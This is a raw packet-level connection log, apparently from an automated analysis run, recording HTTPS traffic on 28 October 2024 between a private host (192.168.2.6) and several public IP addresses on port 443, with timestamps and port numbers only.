Oct 28, 2024 02:07:38.712605000 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.712652922 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.712670088 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.712733030 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713119984 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.713144064 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713151932 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.713215113 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.713288069 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713342905 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713355064 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.713392973 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.713536024 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713568926 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.713618040 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.713629007 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.755359888 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.801414967 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.801520109 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.801580906 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.808206081 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.808238029 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.808264971 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.808280945 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.812792063 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.812833071 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.812923908 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.813088894 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.813118935 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.838733912 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.839150906 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.839162111 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.840214014 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.840280056 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.840831995 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.840897083 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.841080904 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.841089010 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.848397017 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.848642111 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.848699093 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.849251986 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.850130081 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.850227118 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.851355076 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.852891922 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.853511095 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.853528023 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.856964111 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.857022047 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.857448101 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.857527971 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.857624054 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.857636929 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.859823942 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.860197067 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.860204935 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861191034 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861248016 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.861535072 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.861588955 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861701965 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.861706972 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861804008 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861820936 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861865997 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.861881018 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.861934900 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.862067938 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.865417004 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.865428925 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.865859985 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.865880013 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.865945101 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.867851973 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.867871046 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.880403042 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.880623102 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.880670071 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.884206057 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.884282112 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.884754896 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.884933949 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.885015965 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.895345926 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.897521973 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.899275064 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.899291039 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.899964094 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.899969101 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.912980080 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.913723946 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.913723946 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.927376032 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.959579945 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.959579945 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.959621906 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.030402899 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.030430079 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.030476093 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.030483961 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.030529022 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.030891895 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.030900002 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.030935049 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.030941010 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.040087938 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.040107965 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.040179014 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.040400982 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.040411949 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.065450907 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.147083044 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.147110939 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.147191048 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.147192001 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.147250891 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.149864912 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.149895906 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.150696993 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.150715113 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.150948048 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.156544924 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.156558990 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.269656897 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:39.269675016 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:39.270185947 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:39.270925999 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:39.270939112 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:39.289247990 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.289271116 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.289352894 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.289355040 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.289470911 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.293431044 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.293445110 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.294796944 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.294855118 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.294924021 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.294972897 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.310429096 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.310446978 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.311935902 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.311956882 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.312009096 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.312026978 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.312051058 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.312138081 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.314701080 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.314708948 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.320827007 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.320879936 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.321019888 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.321084976 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.323147058 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.323184013 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.452625990 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.457132101 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.464623928 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.521625042 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.521652937 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.523705006 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.523715973 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.524213076 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.524240017 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.524249077 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.524261951 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.524638891 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.524645090 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.524856091 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.524859905 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.564148903 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.564759970 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.564791918 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.565397978 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.565403938 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.609272003 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.609611988 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.609636068 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.610038996 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.610462904 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.610539913 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.610645056 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.644643068 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.644690990 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.644942045 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.644974947 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.644979000 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645021915 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645117044 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645154953 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.645229101 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645251989 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.645253897 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645297050 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645420074 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645431995 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.645545006 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645554066 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.645566940 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645598888 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645808935 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645829916 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.645935059 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.645952940 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.646028996 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.646044016 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.646131992 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.646145105 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.646250010 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.646260023 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.646368980 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:39.646378994 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:39.651375055 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.651555061 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.651635885 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.651700020 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.651747942 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.651807070 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.651855946 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.651978016 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.651997089 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.652010918 CET	49918	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.652017117 CET	443	49918	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.652189970 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.652189970 CET	49919	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.652210951 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.652224064 CET	443	49919	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.652915955 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.653024912 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.653091908 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.654479980 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.654488087 CET	443	49917	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.658027887 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.658055067 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.658209085 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.658925056 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.658947945 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.658999920 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659120083 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659141064 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.659182072 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659197092 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.659252882 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659256935 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659275055 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.659405947 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.659423113 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.704947948 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.704977989 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.705022097 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.708228111 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.717685938 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.717685938 CET	49920	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.717708111 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.717720032 CET	443	49920	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.726046085 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.726089954 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.726185083 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.726429939 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.726448059 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.755951881 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.756016970 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.756026983 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.756082058 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.757955074 CET	49921	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.757967949 CET	443	49921	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.762958050 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.763609886 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.763627052 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.764197111 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.764202118 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.893131971 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.893235922 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.893291950 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.893719912 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.893734932 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.893744946 CET	49922	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.893750906 CET	443	49922	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.901232004 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.903031111 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.903044939 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.903547049 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.904416084 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.904509068 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:39.904841900 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:39.907560110 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.907576084 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.908830881 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.909159899 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:39.909174919 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:39.951332092 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.042167902 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.042217016 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.042290926 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:40.042324066 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.042383909 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.042520046 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:40.049515963 CET	49923	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:40.049523115 CET	443	49923	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:40.182868004 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.183157921 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.183192015 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.184680939 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.184760094 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.185911894 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.186002016 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.186136007 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.186145067 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.252542973 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.252893925 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.252913952 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.253935099 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.254015923 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.255156040 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.255220890 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.255534887 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.255547047 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.272219896 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.273957014 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.274437904 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.274468899 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.278012991 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.278099060 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.279927969 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.279994965 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.280091047 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.280236959 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.280250072 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.280522108 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.280544996 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.280881882 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.281563997 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.281635046 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.281936884 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.323335886 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.384466887 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.400492907 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.400765896 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.400780916 CET	443	49929	23.47.194.99	192.168.2.6
